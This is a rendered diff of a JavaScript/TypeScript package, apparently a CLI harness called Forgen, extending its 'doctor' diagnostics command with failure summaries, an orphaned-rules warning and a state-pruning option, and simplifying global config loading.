const icon = condition ? '✓' : '✗';
|
|
11
18
|
const hintStr = !condition && hint ? ` — ${hint}` : '';
|
|
12
19
|
console.log(` ${icon} ${label}${hintStr}`);
|
|
20
|
+
if (!condition) {
|
|
21
|
+
failedChecks.push({ section: currentSection, label, hint });
|
|
22
|
+
}
|
|
13
23
|
}
|
|
14
24
|
function exists(p) {
|
|
15
25
|
return fs.existsSync(p);
|
|
@@ -24,15 +34,16 @@ function commandExists(cmd) {
|
|
|
24
34
|
return false;
|
|
25
35
|
}
|
|
26
36
|
}
|
|
27
|
-
export async function runDoctor() {
|
|
37
|
+
export async function runDoctor(opts = {}) {
|
|
38
|
+
failedChecks = [];
|
|
28
39
|
console.log('\n Forgen — Diagnostics\n');
|
|
29
|
-
|
|
40
|
+
section('Tools');
|
|
30
41
|
check('claude CLI', commandExists('claude'));
|
|
31
42
|
check('tmux', commandExists('tmux'));
|
|
32
43
|
check('git', commandExists('git'));
|
|
33
44
|
check('gh (GitHub CLI)', commandExists('gh'), 'Required for team PR features: brew install gh');
|
|
34
45
|
console.log();
|
|
35
|
-
|
|
46
|
+
section('Plugins');
|
|
36
47
|
const ralphLoopInstalled = exists(path.join(os.homedir(), '.claude', 'plugins', 'cache', 'claude-plugins-official', 'ralph-loop'));
|
|
37
48
|
check('ralph-loop plugin', ralphLoopInstalled, 'Required for ralph mode auto-iteration. Install: claude plugins install ralph-loop');
|
|
38
49
|
// forgen 플러그인 캐시 디렉토리 확인 — 훅 실행의 필수 전제
|
|
@@ -67,7 +78,7 @@ export async function runDoctor() {
|
|
|
67
78
|
}
|
|
68
79
|
check('forgen plugin registered & installPath exists', pluginRegistered, 'Plugin registered but installPath missing on disk. Fix: npm run build && node scripts/postinstall.js');
|
|
69
80
|
console.log();
|
|
70
|
-
|
|
81
|
+
section('Directories');
|
|
71
82
|
check('~/.forgen/', exists(FORGEN_HOME));
|
|
72
83
|
check('~/.forgen/me/', exists(ME_DIR));
|
|
73
84
|
check('~/.forgen/me/solutions/', exists(ME_SOLUTIONS));
|
|
@@ -75,13 +86,24 @@ export async function runDoctor() {
|
|
|
75
86
|
check('~/.forgen/me/rules/', exists(ME_RULES));
|
|
76
87
|
check('~/.forgen/packs/', exists(PACKS_DIR));
|
|
77
88
|
check('~/.forgen/sessions/', exists(SESSIONS_DIR));
|
|
89
|
+
// R9-IA5: warn if a user dropped rule files at ~/.forgen/rules/ by mistake.
|
|
90
|
+
// That path is NOT loaded — personal rules live at ~/.forgen/me/rules/.
|
|
91
|
+
const legacyRulesPath = path.join(FORGEN_HOME, 'rules');
|
|
92
|
+
if (exists(legacyRulesPath) && legacyRulesPath !== ME_RULES) {
|
|
93
|
+
try {
|
|
94
|
+
const files = fs.readdirSync(legacyRulesPath).filter((f) => f.endsWith('.json'));
|
|
95
|
+
if (files.length > 0) {
|
|
96
|
+
check(`~/.forgen/rules/ (${files.length} orphan file(s))`, false, `This path is NOT loaded. Move files to ~/.forgen/me/rules/ or delete them.`);
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
catch {
|
|
100
|
+
// permission / symlink issue — diagnostics must not crash
|
|
101
|
+
}
|
|
102
|
+
}
|
|
78
103
|
console.log();
|
|
79
|
-
|
|
80
|
-
check('
|
|
81
|
-
|
|
82
|
-
console.log(' [Environment]');
|
|
83
|
-
check('Inside tmux session', !!process.env.TMUX);
|
|
84
|
-
check('FORGEN_HARNESS env var', (process.env.FORGEN_HARNESS ?? process.env.COMPOUND_HARNESS) === '1');
|
|
104
|
+
section('Environment');
|
|
105
|
+
check('Inside tmux session', !!process.env.TMUX, 'FORGEN auto-compound relies on tmux. Launch: tmux new -s forgen');
|
|
106
|
+
check('FORGEN_HARNESS env var', (process.env.FORGEN_HARNESS ?? process.env.COMPOUND_HARNESS) === '1', 'Set by `forgen` / `fgx` launcher. Hooks assume harness mode is active.');
|
|
85
107
|
console.log();
|
|
86
108
|
// 솔루션/규칙 수
|
|
87
109
|
if (exists(ME_SOLUTIONS)) {
|
|
@@ -305,6 +327,34 @@ export async function runDoctor() {
|
|
|
305
327
|
}
|
|
306
328
|
console.log();
|
|
307
329
|
}
|
|
330
|
+
// State bloat check — session-scoped files accumulate until pruned.
|
|
331
|
+
console.log(' [State Hygiene]');
|
|
332
|
+
const sessionFiles = countSessionScopedFiles();
|
|
333
|
+
if (sessionFiles === 0) {
|
|
334
|
+
console.log(' ✓ no session-scoped state files');
|
|
335
|
+
}
|
|
336
|
+
else if (sessionFiles < 500) {
|
|
337
|
+
console.log(` ✓ ${sessionFiles} session-scoped files (under threshold)`);
|
|
338
|
+
}
|
|
339
|
+
else {
|
|
340
|
+
console.log(` ⚠ ${sessionFiles} session-scoped files (bloat threshold 500)`);
|
|
341
|
+
console.log(' Run: forgen doctor --prune-state (removes files older than 7 days)');
|
|
342
|
+
}
|
|
343
|
+
if (opts.pruneState) {
|
|
344
|
+
const report = pruneState({ dryRun: false });
|
|
345
|
+
const mb = (report.bytesFreed / 1024 / 1024).toFixed(2);
|
|
346
|
+
console.log(` → Pruned ${report.pruned}/${report.scanned} files (${mb} MB freed, >${report.retentionDays}d old)`);
|
|
347
|
+
// ADR-002 T4 — 90d 미주입 rule retire. pruneState 와 함께 "하루 한번 정돈" 의미 공유.
|
|
348
|
+
try {
|
|
349
|
+
const { runDailyT4Decay } = await import('./state-gc.js');
|
|
350
|
+
const t4 = await runDailyT4Decay({ dryRun: false });
|
|
351
|
+
if (t4.retired > 0) {
|
|
352
|
+
console.log(` → Retired ${t4.retired} rule(s) (T4 time-decay): ${t4.sample.join(', ')}`);
|
|
353
|
+
}
|
|
354
|
+
}
|
|
355
|
+
catch { /* fail-open */ }
|
|
356
|
+
}
|
|
357
|
+
console.log();
|
|
308
358
|
// 현재 디렉토리 git 정보
|
|
309
359
|
console.log(' [Git]');
|
|
310
360
|
try {
|
|
@@ -316,4 +366,28 @@ export async function runDoctor() {
|
|
|
316
366
|
console.log(' git remote: (none)');
|
|
317
367
|
}
|
|
318
368
|
console.log();
|
|
369
|
+
// [Summary] — 최종 상태 요약과 복구 액션을 한눈에 보이게
|
|
370
|
+
console.log(' [Summary]');
|
|
371
|
+
if (failedChecks.length === 0) {
|
|
372
|
+
console.log(' ✓ All diagnostics passed. Forgen is ready.');
|
|
373
|
+
}
|
|
374
|
+
else {
|
|
375
|
+
console.log(` ✗ ${failedChecks.length} check(s) failed:\n`);
|
|
376
|
+
const bySection = new Map();
|
|
377
|
+
for (const f of failedChecks) {
|
|
378
|
+
if (!bySection.has(f.section))
|
|
379
|
+
bySection.set(f.section, []);
|
|
380
|
+
bySection.get(f.section).push(f);
|
|
381
|
+
}
|
|
382
|
+
for (const [sec, items] of bySection) {
|
|
383
|
+
console.log(` [${sec}]`);
|
|
384
|
+
for (const item of items) {
|
|
385
|
+
console.log(` • ${item.label}`);
|
|
386
|
+
if (item.hint)
|
|
387
|
+
console.log(` → ${item.hint}`);
|
|
388
|
+
}
|
|
389
|
+
}
|
|
390
|
+
console.log('\n Run `forgen doctor` again after applying the fixes above.');
|
|
391
|
+
}
|
|
392
|
+
console.log();
|
|
319
393
|
}
|
|
@@ -37,7 +37,7 @@ export interface GlobalConfig {
|
|
|
37
37
|
/** 레거시 마이그레이션 백업 경로 */
|
|
38
38
|
legacy_backup?: string;
|
|
39
39
|
}
|
|
40
|
-
/**
|
|
40
|
+
/** 글로벌 config 로드 (~/.forgen/config.json) */
|
|
41
41
|
export declare function loadGlobalConfig(): GlobalConfig;
|
|
42
|
-
/**
|
|
42
|
+
/** 글로벌 config 저장 (~/.forgen/config.json) */
|
|
43
43
|
export declare function saveGlobalConfig(config: GlobalConfig): void;
|
|
@@ -1,26 +1,18 @@
|
|
|
1
1
|
import * as fs from 'node:fs';
|
|
2
2
|
import * as path from 'node:path';
|
|
3
|
-
import { GLOBAL_CONFIG
|
|
4
|
-
/**
|
|
3
|
+
import { GLOBAL_CONFIG } from './paths.js';
|
|
4
|
+
/** 글로벌 config 로드 (~/.forgen/config.json) */
|
|
5
5
|
export function loadGlobalConfig() {
|
|
6
|
-
// v1 경로 우선
|
|
7
|
-
if (fs.existsSync(V1_GLOBAL_CONFIG)) {
|
|
8
|
-
try {
|
|
9
|
-
return JSON.parse(fs.readFileSync(V1_GLOBAL_CONFIG, 'utf-8'));
|
|
10
|
-
}
|
|
11
|
-
catch { /* fall through */ }
|
|
12
|
-
}
|
|
13
|
-
// 레거시 폴백
|
|
14
6
|
if (fs.existsSync(GLOBAL_CONFIG)) {
|
|
15
7
|
try {
|
|
16
8
|
return JSON.parse(fs.readFileSync(GLOBAL_CONFIG, 'utf-8'));
|
|
17
9
|
}
|
|
18
|
-
catch { /*
|
|
10
|
+
catch { /* malformed — use defaults */ }
|
|
19
11
|
}
|
|
20
12
|
return {};
|
|
21
13
|
}
|
|
22
|
-
/**
|
|
14
|
+
/** 글로벌 config 저장 (~/.forgen/config.json) */
|
|
23
15
|
export function saveGlobalConfig(config) {
|
|
24
|
-
fs.mkdirSync(path.dirname(
|
|
25
|
-
fs.writeFileSync(
|
|
16
|
+
fs.mkdirSync(path.dirname(GLOBAL_CONFIG), { recursive: true });
|
|
17
|
+
fs.writeFileSync(GLOBAL_CONFIG, JSON.stringify(config, null, 2));
|
|
26
18
|
}
|
package/dist/core/harness.d.ts
CHANGED
|
@@ -5,11 +5,9 @@
|
|
|
5
5
|
* philosophy/scope/pack 의존 제거. Profile + Preset Manager + Rule Renderer.
|
|
6
6
|
*
|
|
7
7
|
* Module Structure:
|
|
8
|
-
* - Lines 1-
|
|
9
|
-
* - Lines
|
|
10
|
-
* - Lines
|
|
11
|
-
* - Lines 400-550: Rule file injection, gitignore, compound memory
|
|
12
|
-
* - Lines 550+: prepareHarness — main orchestration
|
|
8
|
+
* - Lines 1-50: Imports, utility helpers
|
|
9
|
+
* - Lines 50-120: Rule file injection, gitignore, compound memory
|
|
10
|
+
* - Lines 120+: prepareHarness — main orchestration
|
|
13
11
|
*/
|
|
14
12
|
import { type RuntimeHost } from './types.js';
|
|
15
13
|
import { rollbackSettings } from './settings-lock.js';
|